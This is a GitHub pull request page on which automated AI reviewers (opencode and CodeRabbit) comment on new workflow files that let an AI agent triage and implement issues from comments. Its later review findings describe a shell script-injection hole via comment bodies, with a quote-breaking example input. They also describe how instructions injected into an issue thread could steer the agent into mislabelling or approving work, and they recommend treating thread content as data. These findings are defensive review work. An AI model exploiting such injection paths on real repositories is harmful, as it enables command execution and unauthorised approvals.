🔄 synced file(s) with dianlight/opencode-actions#713
Conversation
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
📝 WalkthroughWalkthroughThis PR adds shared ChangesOpencode command automation
Estimated code review effort: 4 (Complex) | ~60 minutes Sequence Diagram(s)sequenceDiagram
participant Commenter
participant GitHub
participant WorkflowRouter
participant anomalyco_opencode
Commenter->>GitHub: create issue or pull request comment
GitHub->>WorkflowRouter: trigger workflow
WorkflowRouter->>anomalyco_opencode: run selected review, task, takeover, or implementation process
anomalyco_opencode->>GitHub: submit review, create pull request, or post reaction
🚥 Pre-merge checks | ✅ 5✅ Passed checks (5 passed)
✨ Finishing Touches📝 Generate docstrings
🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Verdict: COMMENT · 🛠️ 2 · 💡 1
✅ 0 threads resolved (none existed).
The workflows are generally well-structured with proper security guardrails (SHA-pinned action, author association checks, bot exclusions). The most notable quality concern is the missing concurrency block in the review workflow, which could lead to conflicting reviews on rapid PR events. No critical or performance issues found.
| on: | ||
| pull_request: | ||
| types: [opened, synchronize, reopened, ready_for_review] | ||
|
|
There was a problem hiding this comment.
🛠️ [QUALITY] Missing concurrency block
Unlike opencode-implement.yaml and opencode-triage.yaml, this workflow has no concurrency guard. If multiple PR events fire in quick succession (e.g., opened + synchronize), concurrent review runs could race, producing conflicting review comments or duplicate outputs.
| on: | |
| pull_request: | |
| types: [opened, synchronize, reopened, ready_for_review] | |
| concurrency: | |
| group: opencode-review-${{ github.event.pull_request.number }} | |
| cancel-in-progress: false | |
| jobs: |
| if: | | ||
| ( | ||
| github.event_name != 'pull_request_review' && | ||
| github.event.comment.user.login != 'github-actions[bot]' && |
There was a problem hiding this comment.
🛠️ [QUALITY] Hardcoded bot usernames
Lines 20-22 and 36-38 hardcode a fixed list of bot usernames (github-actions[bot], opencode-agent[bot], coderabbitai[bot]). This is brittle — adding or renaming a collaborator bot requires a workflow edit. The author_association check (OWNER, MEMBER, COLLABORATOR) already restricts who can trigger the workflow, so the bot check is a secondary safety net.
Consider checking github.event.comment.user.type == 'Bot' combined with .author_association instead, or keep the explicit list but document it as a maintenance burden. Since the current approach works correctly and the bot list is a deliberate allowlist, this is a softer quality concern.
|
|
||
| jobs: | ||
| implement: | ||
| if: >- |
There was a problem hiding this comment.
💡 [NITPICK] Complex workflow condition
The if condition (lines 15-20) spans 6 lines with deeply nested parentheses and mixes property accesses from both issue and pull_request contexts. While the expression handles null safely in GitHub Actions, it is hard to reason about correctness at a glance.
Consider extracting the label-check and state-check logic into separate conditions or restructuring with intermediate github.event_name checks for clarity:
| if: >- | |
| if: >- | |
| github.event.label.name == 'opencode:approved-for-implementation' && | |
| github.event.sender.login == 'opencode-agent[bot]' && | |
| ( | |
| ( | |
| github.event_name == 'issues' && | |
| !contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.issue.state == 'open' | |
| ) || ( | |
| github.event_name == 'pull_request' && | |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.pull_request.state == 'open' | |
| ) | |
| ) |
|
Review submitted. Verdict: COMMENT · 🛠️ 2 · 💡 1 Findings:
No critical or performance issues found. The workflows are well-structured with proper security practices (SHA-pinned action, author association checks, bot exclusions). |
58219c1 to
7d5bc9e
Compare
There was a problem hiding this comment.
Verdict: COMMENT · 🛠️ 4 · 💡 1
No threads resolved (issues from the prior review remain unaddressed in this sync diff). The most notable concern is the missing concurrency in the review workflow, inconsistent with both sibling workflows. Two jobs also lack timeout-minutes, risking runaway CI runs. No critical or performance issues.
| on: | ||
| pull_request: | ||
| types: [opened, synchronize, reopened, ready_for_review] | ||
|
|
There was a problem hiding this comment.
🛠️ [QUALITY] Missing concurrency block
Unlike opencode-implement.yaml and opencode-triage.yaml, this workflow has no concurrency guard. If multiple PR events fire in quick succession (e.g., opened + synchronize), concurrent review runs could race, producing conflicting review comments or duplicate outputs. This was also flagged in the previous review.
| on: | |
| pull_request: | |
| types: [opened, synchronize, reopened, ready_for_review] | |
| concurrency: | |
| group: opencode-review-${{ github.event.pull_request.number }} | |
| cancel-in-progress: false | |
| jobs: |
| jobs: | ||
| review: | ||
| if: contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.pull_request.author_association) | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing job timeout-minutes
The review job has no timeout-minutes set, defaulting to GitHub's 360-minute maximum. A stalled AI action could waste CI minutes. Add a 30-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 30 | |
| permissions: |
| if: | | ||
| ( | ||
| github.event_name != 'pull_request_review' && | ||
| github.event.comment.user.login != 'github-actions[bot]' && |
There was a problem hiding this comment.
🛠️ [QUALITY] Hardcoded bot usernames
Lines 20-22 (and 36-38) hardcode specific bot logins (github-actions[bot], opencode-agent[bot], coderabbitai[bot]) as a filter. This is brittle — adding or renaming a collaborator bot requires a workflow edit. The author_association check (OWNER, MEMBER, COLLABORATOR) already restricts who can trigger the workflow, making this an additional maintenance burden. Consider github.event.comment.user.type == 'Bot' instead. Also flagged in the previous review.
|
|
||
| jobs: | ||
| implement: | ||
| if: >- |
There was a problem hiding this comment.
💡 [NITPICK] Complex workflow condition
The if condition (lines 15-20) mixes issue and pull_request property accesses in deeply nested null-safe expressions. While functionally sound (null contexts evaluate as empty in GitHub Actions), the logic is hard to verify at a glance. Restructure with event-type branching for clarity.
| if: >- | |
| if: >- | |
| github.event.label.name == 'opencode:approved-for-implementation' && | |
| (github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') && | |
| ( | |
| ( | |
| github.event_name == 'issues' && | |
| !contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.issue.state == 'open' | |
| ) || ( | |
| github.event_name == 'pull_request' && | |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.pull_request.state == 'open' | |
| ) | |
| ) |
| !contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') && | ||
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | ||
| (github.event.issue.state == 'open' || github.event.pull_request.state == 'open') | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing job timeout-minutes
The implement job has no timeout-minutes set, defaulting to 360 minutes. An AI-driven implementation task could stall and block the runner indefinitely. Add a 60-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 60 | |
| permissions: |
|
Review submitted as COMMENT with 5 findings across the 3 new workflow files:
No threads were resolved — all 3 issues from the prior review (same categories) remain unaddressed in this sync diff. No critical or performance issues detected. |
There was a problem hiding this comment.
Actionable comments posted: 4
🧹 Nitpick comments (4)
.github/workflows/opencode-review.yaml (1)
3-16: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick winNo concurrency control across rapid
synchronizepushes.Multiple pushes to a PR in quick succession will spawn overlapping runs, each independently querying/resolving review threads and posting a new formal review — risking duplicate or conflicting reviews and wasted API/model usage. Consider adding a
concurrencygroup keyed on the PR to cancel in-flight runs when a newer commit lands.concurrency: group: opencode-review-${{ github.event.pull_request.number }} cancel-in-progress: true🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/opencode-review.yaml around lines 3 - 16, The review workflow does not currently prevent overlapping runs when a PR gets multiple rapid synchronize events, so add a top-level concurrency block to the opencode-review workflow keyed by the pull request number and set cancel-in-progress to true. Place it alongside the existing on/jobs configuration in opencode-review.yaml so newer runs cancel any in-flight review job before review thread resolution or posting starts..github/workflows/opencode-implement.yaml (1)
21-26: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick winAdd
timeout-minutesto bound the implementation run.The implement job writes code/opens PRs and can run long; cap it rather than relying on the 6‑hour default.
♻️ Suggested change
runs-on: ubuntu-latest + timeout-minutes: 30 permissions: id-token: write🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/opencode-implement.yaml around lines 21 - 26, The implement job in the workflow is unbounded and can run for the default six hours, so add a timeout to the job definition. Update the job configuration in the opencode-implement workflow near the runs-on/permissions block to include timeout-minutes with an appropriate limit for the implementation run, keeping the existing job behavior otherwise unchanged..github/workflows/opencode-triage.yaml (2)
49-54: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick winAdd
timeout-minutesto bound the agent run.An LLM agent step can hang or loop; without a job timeout it inherits the 6‑hour default and burns runner minutes. Consider a conservative cap.
♻️ Suggested change
runs-on: ubuntu-latest + timeout-minutes: 15 permissions: contents: read🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/opencode-triage.yaml around lines 49 - 54, The workflow job currently has no explicit runtime cap, so the agent step can run for the default 6 hours if it hangs or loops. Add a conservative timeout to the job that uses runs-on ubuntu-latest and the permissions block in opencode-triage.yaml, so the triage run is bounded even if the agent misbehaves.
70-149: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick winConsider adding an untrusted-input handling guard to this prompt.
The implement prompt has an explicit "Security: untrusted input handling" section (
opencode-implement.yamlLines 55-67), but the triage prompt has none — despite reading arbitrary issue/PR/comment content and holdingissues: write+pull-requests: writeplus label-management authority (includingopencode:approved-for-implementation). Injected instructions in a thread could steer the agent to mislabel or post an approval. Recommend mirroring the implement workflow's guidance that thread content is data, not instructions, and never echoing secrets.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/opencode-review.yaml:
- Around line 11-15: The workflow permissions for the review-only job are too
broad because opencode-review only checks out code and posts reviews/comments
via gh api, so remove the unnecessary contents: write grant and keep the
permissions limited to what the job actually needs. Update the permissions block
in the opencode-review workflow so the review step still has access for OIDC and
PR feedback, but no longer allows repository content writes.
- Around line 3-9: The workflow trigger currently lets the review job run on
pull_request opened even for draft PRs, which can cause an early formal review.
Update the pull_request trigger logic in opencode-review.yaml so the review job
only starts on opened when the PR is not a draft, while still allowing
synchronize, reopened, and ready_for_review to run normally; use the existing
review job condition and GitHub PR draft state to scope the opened event
appropriately.
- Around line 25-27: The OpenCode workflow currently sets share: true, which can
expose private conversation history publicly. Update the opencode-review
workflow so sharing is disabled by default in the reviewed configuration, or
make the share setting conditional in this job based on repository visibility
using the existing model/share/use_github_token block as the anchor for the
change.
In @.github/workflows/opencode-triage.yaml:
- Around line 61-69: The approval label is being added with GITHUB_TOKEN via the
opencode/github action, which prevents the downstream labeled workflow from
triggering. Update the Run opencode step to use an App/PAT token instead of
use_github_token: true, so the opencode:approved-for-implementation label is
written by a token that can fire the labeled event; keep the existing sender
compatibility in opencode-implement.yaml and adjust the action configuration
accordingly.
---
Nitpick comments:
In @.github/workflows/opencode-implement.yaml:
- Around line 21-26: The implement job in the workflow is unbounded and can run
for the default six hours, so add a timeout to the job definition. Update the
job configuration in the opencode-implement workflow near the
runs-on/permissions block to include timeout-minutes with an appropriate limit
for the implementation run, keeping the existing job behavior otherwise
unchanged.
In @.github/workflows/opencode-review.yaml:
- Around line 3-16: The review workflow does not currently prevent overlapping
runs when a PR gets multiple rapid synchronize events, so add a top-level
concurrency block to the opencode-review workflow keyed by the pull request
number and set cancel-in-progress to true. Place it alongside the existing
on/jobs configuration in opencode-review.yaml so newer runs cancel any in-flight
review job before review thread resolution or posting starts.
In @.github/workflows/opencode-triage.yaml:
- Around line 49-54: The workflow job currently has no explicit runtime cap, so
the agent step can run for the default 6 hours if it hangs or loops. Add a
conservative timeout to the job that uses runs-on ubuntu-latest and the
permissions block in opencode-triage.yaml, so the triage run is bounded even if
the agent misbehaves.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 9278a7ac-b907-47cd-8f25-b799335c967b
📒 Files selected for processing (3)
.github/workflows/opencode-implement.yaml.github/workflows/opencode-review.yaml.github/workflows/opencode-triage.yaml
| - name: Run opencode (analysis & proposal only) | ||
| uses: anomalyco/opencode/github@77fc88c8ade8e5a620ebbe1197f3a572d29ae91a # latest | ||
| env: | ||
| OPENCODE_API_KEY: ${{ secrets.OPENCODE_API_KEY }} | ||
| GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| OPENCODE_TRIGGER_BODY: ${{ github.event.review.body || github.event.comment.body || github.event.issue.body }} | ||
| with: | ||
| model: opencode/deepseek-v4-flash-free | ||
| use_github_token: true |
There was a problem hiding this comment.
🩺 Stability & Availability | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🌐 Web query:
Does the anomalyco/opencode github action post using the opencode-agent GitHub App token when use_github_token is false, and github-actions bot when use_github_token is true?
💡 Result:
Yes, the anomalyco/opencode GitHub Action behaves differently regarding authentication and the identity of the actor based on the use_github_token setting [1][2]. When use_github_token is false (default), the action performs an OIDC token exchange with the OpenCode API to retrieve an installation access token for the opencode-agent GitHub App [1][3][2]. Consequently, operations such as comments, commits, and pull requests are performed using the identity of the opencode-agent GitHub App [3]. When use_github_token is true, the action bypasses the OIDC token exchange and uses the provided GITHUB_TOKEN environment variable directly [4][1][2]. In this configuration, the operations are performed using the identity associated with the GITHUB_TOKEN provided to the workflow, which is typically the github-actions bot (or the user/principal assigned the token) [3][2].
Citations:
- 1: https://github.com/anomalyco/opencode/blob/ec3ae17e/github/action.yml
- 2: https://github.com/anomalyco/opencode/blob/ec3ae17e/packages/opencode/src/cli/cmd/github.ts
- 3: https://github.com/anomalyco/opencode/blob/dev/packages/web/src/content/docs/github.mdx
- 4: github: support GITHUB_TOKEN + skip OIDC anomalyco/opencode#5459
🏁 Script executed:
sed -n '1,220p' .github/workflows/opencode-triage.yaml && printf '\n---\n' && sed -n '1,220p' .github/workflows/opencode-implement.yaml && printf '\n---\n' && rg -n "opencode-agent|sender.login|labeled|approved-for-implementation|use_github_token|GITHUB_TOKEN" .github/workflows .github -SRepository: dianlight/hassio-addons
Length of output: 19022
🌐 Web query:
GitHub Actions GITHUB_TOKEN does not trigger downstream workflows for labeled events docs
💡 Result:
By design, the GITHUB_TOKEN provided to GitHub Actions workflows does not trigger new workflow runs when it performs actions that would otherwise trigger an event [1][2]. This security feature is intended to prevent recursive workflow loops [2]. As documented in official GitHub Actions resources, when a workflow uses the GITHUB_TOKEN to modify a repository—such as adding a label via the API—any downstream workflows configured to trigger on that "labeled" event will not execute [2][3]. This behavior applies to most event types [1][2]. There are only limited exceptions to this rule, such as specific pull_request activity types (opened, synchronize, or reopened), which may create workflow runs in an approval-required state [4][2]. To work around this limitation and trigger downstream workflows, you must use a different authentication method, such as a Personal Access Token (PAT) or a GitHub App installation access token [3]. Using these alternatives instead of the GITHUB_TOKEN allows the events performed by your workflow to successfully trigger subsequent workflows [3].
Citations:
- 1: https://docs.github.com/en/actions/concepts/security/github_token
- 2: https://docs.github.com/en/actions/how-tos/write-workflows/choose-when-workflows-run/trigger-a-workflow
- 3: https://github.com/github/docs/blob/main/content/actions/how-tos/write-workflows/choose-when-workflows-run/trigger-a-workflow.md
- 4: https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows
Use an App/PAT token for the approval label
use_github_token: true means the opencode:approved-for-implementation label is added with GITHUB_TOKEN, and GitHub won’t start the downstream labeled workflow from that event. opencode-implement.yaml already accepts github-actions[bot], so the sender check isn’t the blocker here. Switch this label write to the OpenCode App token (drop use_github_token: true) or another PAT/App token.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-triage.yaml around lines 61 - 69, The approval
label is being added with GITHUB_TOKEN via the opencode/github action, which
prevents the downstream labeled workflow from triggering. Update the Run
opencode step to use an App/PAT token instead of use_github_token: true, so the
opencode:approved-for-implementation label is written by a token that can fire
the labeled event; keep the existing sender compatibility in
opencode-implement.yaml and adjust the action configuration accordingly.
7d5bc9e to
5687075
Compare
There was a problem hiding this comment.
Verdict: COMMENT · 🛠️ 5 · 💡 2
3 open threads remain valid (complex if condition in opencode-implement.yaml, missing timeout-minutes in review and implement jobs). New findings: hardcoded bot usernames migrated to dedicated triage files, additional missing timeout-minutes on both new triage jobs, and a fragile JSON body decoding step. No critical or performance issues.
| !github.event.pull_request.draft && | ||
| github.event.pull_request.changed_files < 50 && | ||
| github.event.pull_request.additions < 3000 | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing job timeout-minutes
The review job defaults to GitHub's 360-minute maximum. A stalled AI action could waste CI minutes. Add a 30-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 30 |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | ||
| (github.event.issue.state == 'open' || github.event.pull_request.state == 'open') | ||
| ) | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing job timeout-minutes
The implement job defaults to 360 minutes. An AI-driven implementation task could stall and block the runner. Add a 60-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 60 |
|
|
||
| jobs: | ||
| implement: | ||
| if: >- |
There was a problem hiding this comment.
💡 [NITPICK] Complex workflow condition
The if condition (lines 25-34) mixes issue and pull_request property accesses in deeply nested null-safe expressions. While functionally sound (null contexts evaluate as empty in GitHub Actions), the logic is hard to verify at a glance. Consider restructuring with explicit github.event_name branching:
| if: >- | |
| if: >- | |
| github.event.label.name == 'opencode:approved-for-implementation' && | |
| (github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') && | |
| ( | |
| ( | |
| github.event_name == 'issues' && | |
| !contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.issue.state == 'open' | |
| ) || ( | |
| github.event_name == 'pull_request' && | |
| !contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') && | |
| github.event.pull_request.state == 'open' | |
| ) | |
| ) |
| jobs: | ||
| triage: | ||
| if: | | ||
| github.event.comment.user.login != 'github-actions[bot]' && |
There was a problem hiding this comment.
🛠️ [QUALITY] Hardcoded bot usernames
Lines 14-16 hardcode specific bot logins (github-actions[bot], opencode-agent[bot], coderabbitai[bot]). This is brittle — adding or renaming a collaborator bot requires a workflow edit. The author_association check (OWNER, MEMBER, COLLABORATOR) already restricts to trusted contributors, making this a redundant maintenance burden. Consider using user.type == 'Bot':
| github.event.comment.user.login != 'github-actions[bot]' && | |
| github.event.comment.user.type != 'Bot' && | |
| github.event.comment.user.type != 'Bot' && | |
| github.event.comment.user.type != 'Bot' && | |
| contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) && |
| github.event.comment.body.length > 10 | ||
| ) || | ||
| contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing job timeout-minutes
The triage job defaults to 360 minutes. An LLM agent could hang or loop. Add a 15-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 |
| env: | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🛠️ [QUALITY] Fragile body decoding
The body decoding pipeline (line 47) uses echo '${{ toJSON(...) }}' | python3 -c ... || body='' to parse JSON, then pipes to grep. If toJSON output contains special shell characters or the Python decode fails silently, the approval check produces false negatives. Consider using GitHub Actions' fromJSON directly in the if: condition instead of shell-based parsing:
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| if: >- | |
| startsWith(github.event.comment.body, 'approved') || | |
| startsWith(github.event.comment.body, 'lgtm') || | |
| startsWith(github.event.comment.body, 'go ahead') || | |
| startsWith(github.event.comment.body, ':thumbsup:') |
| if: | | ||
| ( | ||
| github.event_name == 'pull_request_review_comment' && | ||
| github.event.comment.user.login != 'github-actions[bot]' && |
There was a problem hiding this comment.
🛠️ [QUALITY] Hardcoded bot usernames
Lines 18-20 (and 36-38 in the pull_request_review branch) hardcode specific bot logins. Same concern as opencode-triage-issue.yaml. Prefer user.type == 'Bot':
| github.event.comment.user.login != 'github-actions[bot]' && | |
| github.event.comment.user.type != 'Bot' && | |
| github.event.comment.user.type != 'Bot' && | |
| github.event.comment.user.type != 'Bot' && | |
| contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) && |
| ) || | ||
| contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') | ||
| ) | ||
| runs-on: ubuntu-latest |
There was a problem hiding this comment.
🛠️ [QUALITY] Missing job timeout-minutes
The triage job defaults to 360 minutes. Add a 15-minute timeout.
| runs-on: ubuntu-latest | |
| runs-on: ubuntu-latest | |
| timeout-minutes: 15 |
|
|
||
| jobs: | ||
| triage: | ||
| if: | |
There was a problem hiding this comment.
💡 [NITPICK] Complex workflow condition
The if condition (lines 15-51) spans 37 lines with deeply nested || / && groups. The pull_request_review_comment and pull_request_review branches share near-identical sub-expressions (bot checks, author association, trigger text), making it hard to reason about edge cases or modify safely. Consider extracting the repeated bot/author/trigger sub-expression into a YAML anchor or a composite action.
|
Review submitted as COMMENT with 9 inline findings across 3 files:
Could not resolve 8 threads — token lacks GraphQL mutation scope (FORBIDDEN). Note that the thread-listed issues about concurrency, draft guard, permissions, share visibility, and triage.yaml-specific concerns all appear resolved in the current diff. |
There was a problem hiding this comment.
Actionable comments posted: 4
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/opencode-triage-issue.yaml:
- Around line 44-47: The inline shell in the workflow is vulnerable because
github.event.comment.body is being template-expanded directly into the script in
the step that sets body. Move the comment body into an environment variable for
that step and read it from the script instead of embedding it inside single
quotes; update the run block that uses python3 so it parses the env value safely
and avoids shell interpolation.
- Around line 13-28: The workflow condition currently lets the label-based path
bypass the existing actor and open-issue guards, so any comment on a labeled
issue can trigger the job. Update the `if` expression in `opencode-triage-issue`
so `contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')` is
grouped inside the same top-level `&&` guard block as the `/oc` and `/opencode`
checks, ensuring the bot/user and open-state restrictions always apply.
In @.github/workflows/opencode-triage-pr.yaml:
- Around line 67-78: The inline script in the triage workflow is still using
untrusted review/comment text directly in shell command substitution, which
allows quote-breaking injection. Update the step that computes `body` in the
workflow to pass `github.event.review.body` and `github.event.comment.body`
through environment variables instead of embedding `toJSON(...)` inside the
script. Keep the logic in the same run block, but read the safe env values there
and preserve the existing approval detection in the workflow step.
- Around line 15-51: The label check for opencode:awaiting-response is currently
outside the actor, association, and open-PR guards in both event branches, which
lets the workflow run even when the rest of the conditions fail. Update the if
expression in opencode-triage-pr so the label alternative is grouped inside the
same guarded condition as the /oc and /opencode command checks for both
pull_request_review_comment and pull_request_review, keeping the existing logic
in the same branches.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: defaults
Review profile: CHILL
Plan: Pro
Run ID: 9c462bc2-223a-43c4-98fc-4433129c1b8e
📒 Files selected for processing (5)
.github/workflows/opencode-implement.yaml.github/workflows/opencode-review.yaml.github/workflows/opencode-triage-issue.yaml.github/workflows/opencode-triage-pr.yaml.github/workflows/opencode-triage.yaml
| if: | | ||
| github.event.comment.user.login != 'github-actions[bot]' && | ||
| github.event.comment.user.login != 'opencode-agent[bot]' && | ||
| github.event.comment.user.login != 'coderabbitai[bot]' && | ||
| contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) && | ||
| github.event.issue.state == 'open' && | ||
| ( | ||
| ( | ||
| contains(github.event.comment.body, ' /oc') || | ||
| startsWith(github.event.comment.body, '/oc') || | ||
| contains(github.event.comment.body, ' /opencode') || | ||
| startsWith(github.event.comment.body, '/opencode') | ||
| ) && | ||
| github.event.comment.body.length > 10 | ||
| ) || | ||
| contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | ⚡ Quick win
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
set -euo pipefail
git ls-files .github/workflows/opencode-triage-issue.yaml
echo '---'
cat -n .github/workflows/opencode-triage-issue.yaml | sed -n '1,220p'Repository: dianlight/hassio-addons
Length of output: 7791
Wrap the label branch in the guard block
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') sits outside the && group, so any comment on a labeled issue can trigger this job even from excluded bots or non-collaborators. Keep the label path inside the same guard block so the actor and open-state checks always apply.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-triage-issue.yaml around lines 13 - 28, The
workflow condition currently lets the label-based path bypass the existing actor
and open-issue guards, so any comment on a labeled issue can trigger the job.
Update the `if` expression in `opencode-triage-issue` so
`contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')` is
grouped inside the same top-level `&&` guard block as the `/oc` and `/opencode`
checks, ensuring the bot/user and open-state restrictions always apply.
| env: | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Script injection: untrusted comment body embedded in an inline script.
toJSON(github.event.comment.body) is interpolated inside single quotes; a body containing a single quote (e.g. '; malicious #) breaks out of the string and executes arbitrary shell. Pass the body through an environment variable instead of template-expanding it into the script.
🔒 Proposed fix
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ COMMENT_BODY: ${{ github.event.comment.body }}
run: |
- body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
+ body="$COMMENT_BODY"
if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| run: | | |
| body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' | |
| env: | |
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | |
| COMMENT_BODY: ${{ github.event.comment.body }} | |
| run: | | |
| body="$COMMENT_BODY" | |
| if echo "$body" | grep -qiE '^(approved|lgtm|go ahead|:\+1:)' ; then |
🧰 Tools
🪛 actionlint (1.7.12)
[error] 46-46: "github.event.comment.body" is potentially untrusted. avoid using it directly in inline scripts. instead, pass it through an environment variable. see https://docs.github.com/en/actions/reference/security/secure-use#good-practices-for-mitigating-script-injection-attacks for more details
(expression)
🪛 zizmor (1.26.1)
[error] 47-47: code injection via template expansion (template-injection): may expand into attacker-controllable code
(template-injection)
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/opencode-triage-issue.yaml around lines 44 - 47, The
inline shell in the workflow is vulnerable because github.event.comment.body is
being template-expanded directly into the script in the step that sets body.
Move the comment body into an environment variable for that step and read it
from the script instead of embedding it inside single quotes; update the run
block that uses python3 so it parses the env value safely and avoids shell
interpolation.
Source: Linters/SAST tools
| env: | ||
| GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} | ||
| run: | | ||
| approved="false" | ||
|
|
||
| # An "Approve" review verdict is always approval | ||
| if [ "${{ github.event_name }}" = "pull_request_review" ] && [ "${{ github.event.review.state }}" = "approved" ]; then | ||
| approved="true" | ||
| fi | ||
|
|
||
| # Check the body text for approval keywords | ||
| body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body='' |
There was a problem hiding this comment.
🔒 Security & Privacy | 🔴 Critical | ⚡ Quick win
Script injection: untrusted review/comment body in an inline script.
Same issue as the issue triage workflow — toJSON(review.body || comment.body) is wrapped in single quotes and can break out. Pass both bodies via environment variables.
🔒 Proposed fix
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+ REVIEW_BODY: ${{ github.event.review.body }}
+ COMMENT_BODY: ${{ github.event.comment.body }}
run: |
approved="false"
@@
- body=$(echo '${{ toJSON(github.event.review.body || github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
